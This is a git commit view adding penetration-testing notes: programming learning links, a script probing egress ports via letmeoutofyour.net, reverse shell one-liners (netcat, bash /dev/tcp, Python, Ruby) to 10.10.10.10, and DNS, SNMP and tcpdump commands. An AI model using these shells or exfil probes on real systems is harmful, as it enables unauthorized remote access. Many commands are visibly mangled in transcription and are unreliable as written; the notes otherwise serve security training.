adding scripting resources

This commit is contained in:
Omar Santos 2021-07-17 11:36:49 -04:00
parent 8ce1d65785
commit 02eeedc958
22 changed files with 44 additions and 0 deletions

View file

@ -0,0 +1,44 @@
# Basic Programming Resources and Tutorials
## Python
- [Awesome Python - GitHub Repo](https://github.com/vinta/awesome-python)
- [Python Tutorials in W3 Schools](https://www.w3schools.com/python/python_for_loops.asp)
- [Full Stack Python](https://www.fullstackpython.com/)
- [Python Cheatsheet](https://www.pythoncheatsheet.org/)
- [Real Python](https://realpython.com)
- [The Hitchhikers Guide to Python](https://docs.python-guide.org/)
- [Ultimate Python study guide](https://github.com/huangsam/ultimate-python)
- [Python @LibHunt](https://python.libhunt.com/)
- [Python ZEEF](https://python.zeef.com/alan.richmond)
- [Pythonic News](https://news.python.sc/)
- [What the f*ck Python!](https://github.com/satwikkansal/wtfpython)
## Bash and other Linux Shells
- [Awesome Shell](https://github.com/alebcay/awesome-shell)
- [Bash One-Liners](http://www.bashoneliners.com/) - A collection of practical or just pure awesome bash one-liners ([repos](https://github.com/janosgyerik/bashoneliners) by @[janosgyerik](https://github.com/janosgyerik))
- [commandlinefu](http://www.commandlinefu.com/) - A repository for the most elegant and useful UNIX commands
- [Stack Overflow](http://stackoverflow.com/questions/tagged/bash) - Bash tag on Stack Overflow
- [/r/Bash](https://www.reddit.com/r/bash) - A subreddit dedicated to bash scripting
- [/r/CommandLine](https://www.reddit.com/r/commandline) - for anything regarding the command line, in any operating system
- [#bash IRC Channel](https://webchat.freenode.net/?channels=bash)
- [The Bash-Hackers Wiki](http://wiki.bash-hackers.org/doku.php) - Human-readable documentation of any kind about GNU Bash
- [Bash beginner's mistakes](http://wiki.bash-hackers.org/scripting/newbie_traps) (by the Bash-Hackers Wiki)
- [Bash Guide](http://mywiki.wooledge.org/BashGuide) - A bash guide for beginners. (by Lhunath)
- [Bash FAQ](http://mywiki.wooledge.org/BashFAQ) - Answers most of your questions (by Lhunath)
- [Bash Pitfalls](http://mywiki.wooledge.org/BashPitfalls) - Lists the common pitfalls beginners fall into, and how to avoid them
- [Bash manual](http://www.gnu.org/software/bash/manual/) - Bourne-Again Shell manual
- [Bash FAQ](http://tiswww.case.edu/php/chet/bash/FAQ) (by [Chet Ramey](http://tiswww.case.edu/php/chet/))
- [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) - An in-depth exploration of the art of shell scripting
- [Bash Guide for Beginners](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/) (by Machtelt Garrels)
- [Bash Programming - Intro/How-to](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc)
- [bash-handbook](https://github.com/denysdovhan/bash-handbook) - A handbook for those who want to learn Bash without diving in too deeply
- [Google's Shell Style Guide](https://google.github.io/styleguide/shell.xml) - Reasonable advice about code style
- [Sobell's Book](http://www.sobell.com/CR3/index.html) - A practical guide to commands, editors, and shell programming
- [WikiBooks: Bash Shell Scripting](https://en.wikibooks.org/wiki/Bash_Shell_Scripting)
- [Use the Unofficial Bash Strict Mode (Unless You Looove Debugging)](http://redsymbol.net/articles/unofficial-bash-strict-mode/)
- [learnyoubash](https://github.com/denysdovhan/learnyoubash) - An interactive workshopper which will teach you how to use the terminal and write your the first Bash script.
- [Defensive BASH Programming](https://web.archive.org/web/20180917174959/http://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming) - Methods to defend your programs from breaking as well as keeping the code tidy and clean.
- [Pure Bash Bible](https://github.com/dylanaraps/pure-bash-bible) - A collection of pure bash alternatives to external processes.

View file

@ -0,0 +1,12 @@
#!/bin/bash
# A quick script to test exfil ports.
# Using @mubix letmeoutofyour.net site (https://gitlab.com/mubix/letmeoutofyour.net)
# Author: Omar Santos @santosomar
for i in $(eval echo {$1..$2})
do
echo "Is port $i open for potential exfil?"
curl http://letmeoutofyour.net:$i
done

View file

@ -0,0 +1,21 @@
# Reverse Shell Commands
The following are some useful commands to start listeners and reverse shells in Linux and Windows-based systems.
## Netcat Linux Reverse Shell
`nc 10.10.10.10 888 -e /bin/sh`
* 10.10.10.10 is the IP address of the machine you want the victim to connect to.
* 888 is the port number (change this to whatever port you would like to use, just make sure that no firewall is blocking it).
## Netcat Linux Reverse Shell
`nc 10.10.10.10 888 -e cmd.exe`
* 10.10.10.10 is the IP address of the machine you want the victim to connect to.
* 888 is the port number (change this to whatever port you would like to use, just make sure that no firewall is blocking it).
## Using Bash
`bash -i & /dev/tcp/10.10.10.10/888 0 &1`
## Using Python
`python -c 'import socket, subprocess, os; s=socket. socket (socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.10.10.10",888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(l,1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`
## Using Ruby
`ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",888).to_i; exec sprintf("/bin/sh -i &%d &%d 2 &%d",f,f,f)'`

View file

@ -0,0 +1,21 @@
# DNS Reconnassaince
## DNSRECON
* [dnsrecon](https://github.com/darkoperator/dnsrecon) - DNS Enumeration Script created by Carlos Perez (darkoperator)
Reverse lookup for IP range:
`./dnsrecon.rb -t rvs -i 10.1.1.1,10.1.1.50`
Retrieve standard DNS records:
`./dnsrecon.rb -t std -d example.com`
Enumerate subdornains:
`./dnsrecon.rb -t brt -d example.com -w hosts.txt`
DNS zone transfer:
`./dnsrecon -d example.com -t axfr`
## Parsing NMAP Reverse DNS Lookup
`nmap -R -sL -Pn -dns-servers dns svr ip range | awk '{if( ($1" "$2" "$3)=="NMAP scan report")print$5" "$6}' | sed 's/(//g' | sed 's/)//g' dns.txt `

View file

@ -0,0 +1,4 @@
# quick script to get IP addresses from a predefined domain list text file.
#create a file called domains.txt and exec the following one-liner script.
for url in $(cat domains.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u

View file

@ -0,0 +1,13 @@
# Useful SNMP Commands
# Search for Windows installed software
`smpwalk !grep hrSWinstalledName`
## Search for Windows users
`snmpwalk ip 1.3 lgrep --.1.2.25 -f4`
## Search for Windows running services
`snrnpwalk -c public -v1 ip 1 lgrep hrSWRJnName !cut -d" " -f4`
## Search for Windows open TCP ports
`smpwalk lgrep tcpConnState !cut -d" " -f6 !sort -u`

View file

@ -0,0 +1,25 @@
# Useful `tcpdump` commands
### TCPDUMP Cheat Sheet
* [TCPDUMP Cheat Sheet](http://packetlife.net/media/library/12/tcpdump.pdf) is a good resource (I also have a local copy in this repository)
### TCP traffic on port 80-88
`tcpdump -nvvX -sO -i ethO tcp portrange 80-88`
### Capturing traffic to specific IP address excluding specific subnet
`tcpdump -I ethO -tttt dst ip and not net 10.10.10.0/24`
### Capturing traffic for a specific host
`tcpdump host 10.1.1.1`
### Capturing traffic for a specific subnet
`tcpdump net 10.1.1`
### Capturing traffic for a given duration in seconds
`dumpcap -I ethO -a duration: sec -w file myfile.pcap`
### Replaying a PCAP
`file2cable -i ethO -f file.pcap`
### Replaying packets (to fuzz/DoS)
`tcpreplay--topspeed --loop=O --intf=ethO pcap_file_to_replay mbps=10|100|1000